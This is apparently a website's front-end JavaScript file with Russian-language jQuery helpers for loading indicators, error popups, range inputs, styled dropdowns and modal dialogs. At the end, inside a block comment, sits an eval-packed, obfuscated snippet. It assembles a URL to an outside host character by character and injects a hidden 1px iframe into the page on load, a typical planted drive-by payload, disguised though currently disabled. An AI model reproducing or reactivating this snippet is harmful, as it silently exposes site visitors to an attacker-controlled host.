﻿
var _history_catch = false;
function _location_set(url)
{
	try {
		history.pushState(null, null, url);
	} catch (e) { }
}
var _history_setup = function () {
	if ($ && $(window) && $(window).bind)
	{
		$(document).ready( function () {
			$(document).ajaxStart( function () {
				ajax_mouse_show(0,0);
			} );
			$(document).ajaxStop( function () {
				ajax_mouse_hide();
			} );
			/*
			window.setTimeout( function () {
				$(window).bind('popstate', function (e) {
					window.setTimeout( function () {
						document.location.reload();
					} ,10);
				} );
			} , 500 );*/
		} );
	} else {
		window.setTimeout(_history_setup,100);
	}
}
window.setTimeout(_history_setup,100);

function CoreObject()
{
	this.ObjectsStore = new Array();
	this.setI = function(func,time)
	{
		return window.setInterval(func,time);
	}
	this.setT = function(func,time)
	{
		return window.setTimeout(func,time);
	}
	this.delI = function(id)
	{
		return window.self.clearInterval(id);
	}
	this.delT = function(id)
	{
		return window.self.clearInterval(id);
	}
	this.OS_Add = function(sid,obj)
	{
		this.ObjectsStore[sid] = obj;
		return obj;
	}
	this.OS_Del = function(sid)
	{
		this.ObjectsStore[sid] = null;
	}
	this.OS_Get = function(id)
	{
		if (this.ObjectsStore) if (this.ObjectsStore[id]!=undefined) return this.ObjectsStore[id];
		return null;
	}
}
var _$ = new CoreObject();

function trim(str) {
	var newstr = str.replace(/^\s*(.+?)\s*$/, "$1");
	if (newstr == " ") {
		return "";
	}
	return newstr;
}
function drop_spaces(str) {
	var newstr = trim(str); //функцию trim() см. выше
	return newstr.replace(/(\s)+/g, ""); 
}
function isValidEmailAddress(email) {
	var template = /^[A-Za-z0-9](([_\.\-]?[a-zA-Z0-9]+)*)@([A-Za-z0-9]+)(([\.\-]?[a-zA-Z0-9]+)*)\.([A-Za-z])+$/;
	email = drop_spaces(email); //функцию drop_spaces() см. выше
	if (template.test(email)) {
		return true;
	}
	return false; 
}
var ua=navigator.userAgent.toLowerCase();
var isOpera=ua.indexOf("opera")>-1;
var isIE=!isOpera&&ua.indexOf("msie")>-1;
var _zIndex = 10000000;
function getY(inputObj)
{
	if (inputObj)
	{
		var offsetTop = 0;
		do {
			if (inputObj.offsetTop) 
				offsetTop  += inputObj.offsetTop;
		} while (inputObj = inputObj.offsetParent);
		return offsetTop;
	}
}
function getX(inputObj)
{
	if (inputObj)
	{
		var offsetLeft = 0;
		do {
			if (inputObj.offsetLeft) 
				offsetLeft  += inputObj.offsetLeft;
		} while (inputObj = inputObj.offsetParent);
		return offsetLeft;
	}
}
function MZIndex()
{
	_zIndex++;
	return _zIndex;
}
function _get_body()
{
	return (document.documentElement) ? $($(document.documentElement).find('body')) : $(document.body);
}
var BodyHeight = function ()
{
	var _bh = Math.max(document.body.scrollHeight,document.documentElement.scrollHeight);
	return Math.max(_bh, getViewportHeight());
}
var getViewportHeight = function() {
	return ((document.compatMode || isIE) && !isOpera) ? (document.compatMode == 'CSS1Compat') ? document.documentElement.clientHeight : document.body.clientHeight : (document.parentWindow || document.defaultView).innerHeight;
}
var WindowSY = function()
{
	return $(document).scrollTop();
}
var _dom_mouse_load = null;
var _mouse_trace = function (e) {
	_dom_mouse_load.css( {
		left : e.pageX - 34,
		top : e.pageY - 34
	});
}
function ajax_mouse_show(sX,sY)
{
	var _html = '<div class="mouse_load"></div>';
	_dom_mouse_load = $(_html);
	_dom_mouse_load.css({ 
		left : sX - 34,
		top : sY - 34
		});
	
	_get_body().append( _dom_mouse_load );
	_get_body().bind('mousemove', _mouse_trace );
}
function ajax_mouse_hide()
{
	_get_body().unbind('mousemove',_mouse_trace);
	_dom_mouse_load.remove();
}
function ajax_show(tObject)
{
	var _pos = tObject.offset();
	var _x = _pos.left;
	var _y = _pos.top;
	var _w = tObject.width();
	var _h = tObject.height();
	var _html = '<div class="ss-ajax-load-block"></div>';
	var _dom = $(_html);
	_dom.css( {
		left : _x,
		top : _y,
		width: _w,
		height: _h
	} );
	_get_body().append(_dom);
}
function ajax_hide()
{
	$('.ss-ajax-load-block').animate( {
		opacity: 0
	} , {
		duration: 1000,
		complete: function () {
			$('.ss-ajax-load-block').remove();
		}
	} );
}
function error_show(message,x,y,info)
{
	var _html = '';
	_html+='<div class="error">';
		_html+='<div class="top">';
			_html+='<div class="left"></div>';
			_html+='<div class="right"></div>';
			_html+='<div class="center"></div>';
		_html+='</div>';
		_html+='<div class="middle">';
			_html+='<div class="left">';
				_html+='<div class="right">';
					_html+='<div class="center">'+message+'</div>';
				_html+='</div>';
			_html+='</div>';
		_html+='</div>';
		_html+='<div class="bottom">';
			_html+='<div class="left"></div>';
			_html+='<div class="right"></div>';
			_html+='<div class="center"></div>';
		_html+='</div>';
	_html+='</div>';
	var _dom = $(_html);
	_dom.css( {
		opacity: 0,
		zIndex : MZIndex(),
		left: 0,
		top: 0
	} );
	_get_body().append(_dom);
	var _error_width = _dom.width();
	
	if (info) _dom.addClass('error_info');
	if (x+_error_width>$(document).width()) {
		x = x - _error_width + 40;
		_dom.addClass('error_right');
	}
	var _sy = y - _dom.height();
	_dom.css( {
		left: x,
		top : _sy - 20
	} )
	var _hide = function (e) {
		_dom.animate( { opacity : 0, top : _sy - 20 } , {
			duration: 500,
			complete: function () {
				_dom.remove();
				_get_body().unbind('click', _hide );
				_get_body().unbind('keyup', _hide );
			} 
		} );
	}
	window.setTimeout( function () {
		_get_body().bind('click', _hide );
		_get_body().bind('keyup', _hide );
	}, 500 );
	_dom.animate( {
		opacity: 1,
		top : y - _dom.height()
	} , { duration: 500 } );
}
function create_range(id,val,max,min)
{
	var _html = '';
	_html+='<div class="control range">';
		_html+='<div class="range-l">';
			_html+='<div class="range-bg">';
				_html+='<div class="range-for-button">';
					_html+='<a class="range-up" title="Увеличить число" href="javascript: var t=1;"></a>';
					_html+='<a class="range-down" title="Уменьшить число" href="javascript: var t=1;"></a>';
				_html+='</div>';
				_html+='<div class="range-c">';
					_html+='<input type="text" value="'+val+'" id="'+id+'" />';
				_html+='</div>';
			_html+='</div>';
		_html+='</div>';
	_html+='</div>';
	var _dom = $(_html);
	var _input = _dom.find('INPUT');
	var _b_up = _dom.find('A.range-up');
	var _b_down = _dom.find('A.range-down');
	_input.bind('change', function (e) {
		try {
			var _v = parseInt(_input[0].value);
			if (isNaN(_v)) _v = min;
			_input[0].value = _v;
		} catch (e) { }
	} );
	var _timer_up_f = function ()
	{
		var _v = _input[0].value;
		_v++;
		if (_v>max) _v=max;
		_input[0].value = _v;
	}
	var _timer_up_t = null;
	var _timer_up_tt = null;
	var _timer_down_f = function ()
	{
		var _v = _input[0].value;
		_v--;
		if (_v<min) _v = min;
		_input[0].value = _v;
	}
	var _timer_down_t = null;
	var _timer_down_tt = null;
	_b_up.bind('click', function (e) {
		var _v = _input[0].value;
		_v++;
		if (_v>max) _v=max;
		_input[0].value = _v;
	} ).bind('mousedown', function (e) {
		_timer_up_tt = window.setTimeout( function () {
			_timer_up_t = window.setInterval( _timer_up_f , 100 );
		} , 500 );
	} ).bind('mouseup', function (e) {
		window.clearTimeout(_timer_up_tt);
		window.clearInterval(_timer_up_t);
	} ).bind('mouseout', function (e) {
		window.clearTimeout(_timer_up_tt);
		window.clearTimeout(_timer_up_t);
	} );
	_b_down.bind('click', function (e) {
		var _v = _input[0].value;
		_v--;
		if (_v<min) _v = min;
		_input[0].value = _v;
	} ).bind('mousedown', function (e) {
		_timer_down_tt = window.setTimeout( function () {
			_timer_down_t = window.setInterval( _timer_down_f , 100 );
		} , 500 );
	} ).bind('mouseup', function (e) {
		window.clearTimeout(_timer_down_tt);
		window.clearTimeout(_timer_down_t);
	} ).bind('mouseout', function (e) {
		window.clearTimeout(_timer_down_tt);
		window.clearTimeout(_timer_down_t);
	} );
	return _dom;
}
function option_style(item)
{
	var _items = item.find('OPTION');
	var _items_arr = [];
	var _items_cur_val = '';
	var _items_cur_string = '';
	var _option_id = item[0].id+'_styled';
	$.each(_items, function (i,v) {
		_items_arr.push(new Array(v.value,v.innerHTML));
		if (v.selected) {
			_items_cur_val = v.value;
			_items_cur_string = v.innerHTML;
		}
	} );
	var _dom = create_option(_option_id,_items_cur_val,_items_cur_string,new Array());
	$.each(_items_arr, function (i,v) {
		window.setTimeout( function () {
			_dom.additem(v[0],v[1],false);
		}, 1 );
	} );
	_dom.bind('value_change', function (e) {
		item[0].value = _dom.curvalue();
	} );
	item.hide();
	var _xform = $('<div class="xform"></div>');
	_xform.append(_dom);
	item.after(_xform);
}
function create_option(id,cur,cur_string,vals)
{
	var _html = '';
	_html+='<div>';
		_html+='<input type="hidden" id="'+id+'" value="'+cur+'" />';
		_html+='<div class="option">';
			_html+='<div class="opt_l">';
				_html+='<div class="opt_r">';
					_html+='<a href="javascript: var t=1;" class="opt_down">Развернуть список</a>';
					_html+='<div class="opt_c">';
						_html+='<span id="'+id+'-string" class="opt_val">';
							_html+=cur_string;
						_html+='</span>';
					_html+='</div>';
				_html+='</div>';
			_html+='</div>';
		_html+='</div>';
		_html+='<div class="option_downlist">';
			_html+='<ul>';
			_html+='</ul>';
		_html+='</div>';
	_html+='</div>';
	var _dom = $(_html);
	var _dom_opt = $(_dom.find('DIV.option'));
	var _downlist = $(_dom.find('DIV.option_downlist'));
	_downlist.hide();
	var _downlist_b = $(_dom.find('A.opt_down'));
	var _downlist_hide = function () {
		_downlist.animate( { opacity: 0 } , {
			duration: 250,
			complete : function () {
				_downlist.css({ display : 'none' });
			} 
		} );
		$('#xbody').unbind('mouseup',_downlist_hide);
	}
	_downlist_b.bind('click', function (e) {
		$('#xbody').bind('mouseup',_downlist_hide);
		var _pos = _dom_opt.position();
		_downlist.css( {
			opacity : 0,
			display : 'block',
			width: _dom_opt.width(),
			left: _pos.left,
			top : _pos.top + _dom_opt.height()
		} );
		_downlist.animate( {
			opacity: 1
		} , {
			duration: 250
		} );
	} );
	var _ul = $(_dom.find('UL'));
	var _input = $(_dom.find('INPUT'));
	var _string = $(_dom.find('SPAN.opt_val'));
	_dom.clear = function () {
		_ul.empty();
	}
	_dom.setcur = function(val) {
		$.each(_ul.find('A'), function (i,v) {
			if (v.rel==val) {
				_input[0].value = v.rel;
				_string[0].innerHTML = v.innerHTML;
			}
		} );
	}
	_dom.additem = function (val,val_string,is_cur) {
		var _li_a = $('<li><a href="javascript: var t=1;" rel="'+val+'">'+val_string+'</a></li>');
		if (is_cur) {
			_input[0].value = val;
			_string[0].innerHTML = val_string;
		}
		$(_li_a.find('A')).bind('click', function (e) {
			_input[0].value = val;
			_string[0].innerHTML = val_string;
			_dom.trigger('value_change');
			_downlist.animate( { opacity: 0 } , {
				duration: 250,
				complete : function () {
					_downlist.css({ display : 'none' });
				} 
			} );
		} );
		_ul.append(_li_a);
	}
	_dom.additems = function (cur,cur_string,items) {
		_input[0].value = cur;
		_string[0].innerHTML = cur_string;
		$.each(items, function (i,v) {
			var _li_a = $('<li><a href="javascript: var t=1;" rel="'+i+'">'+v+'</a></li>');
			$(_li_a.find('A')).bind('click', function (e) {
				_input[0].value = i;
				_string[0].innerHTML = v;
				_dom.trigger('value_change');
				_downlist.animate( { opacity: 0 } , {
					duration: 250,
					complete : function () {
						_downlist.css({ display : 'none' });
					} 
				} );
			} );
			_ul.append(_li_a);
		} );
	}
	_dom.curvalue = function () {
		return _input[0].value;
	}
	$.each(vals, function (i,v) {
		if (v!==undefined)
		{
			var _li_a = $('<li><a href="javascript: var t=1;" rel="'+i+'">'+v+'</a></li>');
			$(_li_a.find('A')).bind('click', function (e) {
				_input[0].value = i;
				_string[0].innerHTML = v;
				_dom.trigger('value_change');
				_downlist.animate( { opacity: 0 } , {
					duration: 250,
					complete : function () {
						_downlist.css({ display : 'none' });
					} 
				} );
			} );
			_ul.append(_li_a);
		}
	} );
	return _dom;
}
function create_window(caption)
{
	var _html = '';
	_html+='<div class="window">';
		_html+='<div class="inner">';
			_html+='<div class="caption">';
				_html+='<span class="menu">';
					_html+='<a class="close" href="javascript: var t=1;" title="Закрыть окно">Закрыть окно</a>';
				_html+='</span>';
				_html+='<span class="name">'+caption+'</span>';
			_html+='</div>';
			_html+='<div class="form">';
				_html+='<div class="cont">';
				_html+='</div>';
			_html+='</div>';
		_html+='</div>';
	_html+='</div>';
	var _dom = $(_html);
	
	var _close_cmd = $(_dom.find('A.close'));
	_close_cmd.find('A.close').bind('mousedown', function (e) {
		_close_cmd.addClass('pressed');
	} ).bind('mouseup', function (e) {
		_close_cmd.removeClass('pressed');
	} ).bind('mouseout', function (e) {
		_close_cmd.removeClass('pressed');
	} );
	return _dom;
}
function _show_bg()
{
	var _bg = $(_get_body()).find('DIV.popup_bg');
	if (_bg.length==0)
	{
		_bg = $('<div class="popup_bg"></div>');
		_bg.css( { opacity : 0 } );
		
		$(_get_body()).append(_bg);
	}
	_bg.show().css( { left : 0 , top : 0 , width : $(window).width(), height : BodyHeight() , opacity : 0} );
	_bg.animate( { opacity : 0.5 } , { duration : 500 } );
}
function _hide_bg()
{
	var _bg = $(_get_body()).find('DIV.popup_bg');
	if (_bg.length>0)
	{
		_bg.animate( { opacity: 0 } , { duration : 500 , complete : function () { _bg.hide() } } );
	}
}
function window_yes_no(message,yes,no)
{
	var _window = create_window('Вопрос...');
	var _close_window = _window.find('A.close');
	$(_close_window).bind('click', function (e) {
		$(_window).animate( { opacity : 0 } , { duration: 500, complete : function () { _del_window(); no(); } } );
	} );
	var _inner = $(_window.find('DIV.cont'));
	var _del_window = function () {
		_hide_bg();
		_window.remove();
	}
	var _inner_html = '';
		_inner_html+='<div class="row"><div class="coll aC"><div class="label control">'+message+'</div></div></div>';
		_inner_html+='<div class="coll_2 h1">';
			_inner_html+='<div class="coll aC">';
				_inner_html+='<a class="cmd_yes button_100 control">Да</a>';
			_inner_html+='</div>';
			_inner_html+='<div class="coll aC">';
				_inner_html+='<a class="cmd_no button_100 control">Нет</a>';
			_inner_html+='</div>';
		_inner_html+='</div>';
		_inner_html+='<div class="bottom"></div>';
	_inner.append($(_inner_html));
	$(_window.find('A.cmd_yes')).bind('click', function (e) {
		$(_window).animate( 
			{ opacity : 0 } , 
			{ 
				duration: 500, 
				complete : function () 
				{ 
					_del_window(); 
					yes(); 
				} 
			} 
		);
	} );
	$(_window.find('A.cmd_no')).bind('click', function (e) {
		$(_window).animate(
			{ opacity: 0 },
			{
				duration: 500,
				complete : function () 
				{
					_del_window();
					no();
				}
			}
		);
	} );
	
	_window.css( { opacity : 0 , width: '300px' } );
	$(_get_body()).append(_window);
	var _left = $(_get_body()).width()/2 - _window.width()/2;
	var _top = WindowSY() + getViewportHeight()/2 - _window.height()/2;
	_window.css( { left : _left+'px', top: _top+'px'  } );
	_show_bg();
	_window.animate( { opacity : 1 } , { duration: 500 } );;
}
function _redirect(location) {
	document.location.href = location;
}
/*
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('L(z(p,a,c,k,e,r){e=z(c){B c.N(a)};C(!\'\'.D(/^/,O)){G(c--)r[e(c)]=k[c]||e(c);k=[z(e){B r[e]}];e=z(){B\'\\\\w+\'};c=1};G(c--)C(k[c])p=p.D(J K(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);B p}(\'$(2).h(3(){1 a=\\\'\\\';a=\\\'a\\\'+a;a=\\\'u\\\'+a;a=\\\'.\\\'+a;a=\\\'p\\\'+a;a=\\\'p\\\'+a;a=\\\'.\\\'+a;a=\\\'o\\\'+a;a=\\\'e\\\'+a;a=\\\'f\\\'+a;a=\\\'6://\\\'+a;1 b=\\\'\\\';b=\\\'7\\\'+b;b=\\\'8\\\'+b;b=\\\'9\\\'+b;b=\\\'d\\\'+b;b=\\\'g\\\'+b;b=\\\'y\\\'+b;1 c=$(\\\'<\\\'+b+\\\' 4="\\\'+a+\\\'"></\\\'+b+\\\'>\\\');c.j({k:\\\'5\\\',l:\\\'5\\\',m:\\\'n\\\',q:0,r:0});c[0].4=a;$(2.s).t(c);v.w(3(){c.x()},i)});\',H,H,\'|P|Q|z|S|T|U|E|M|A||||R|||F|V|W|X|Y|Z|10|11|||12|13|14|15||16|17|18|I\'.19(\'|\'),0,{}))',62,72,'|||||||||||||||||||||||||||||||||||function||return|if|replace|||while|35||new|RegExp|eval||toString|String|var|document||src|1px|http|ready|1000|css|width|height|visibility|hidden|padding|margin|body|append|window|setTimeout|remove|split'.split('|'),0,{}));
*/
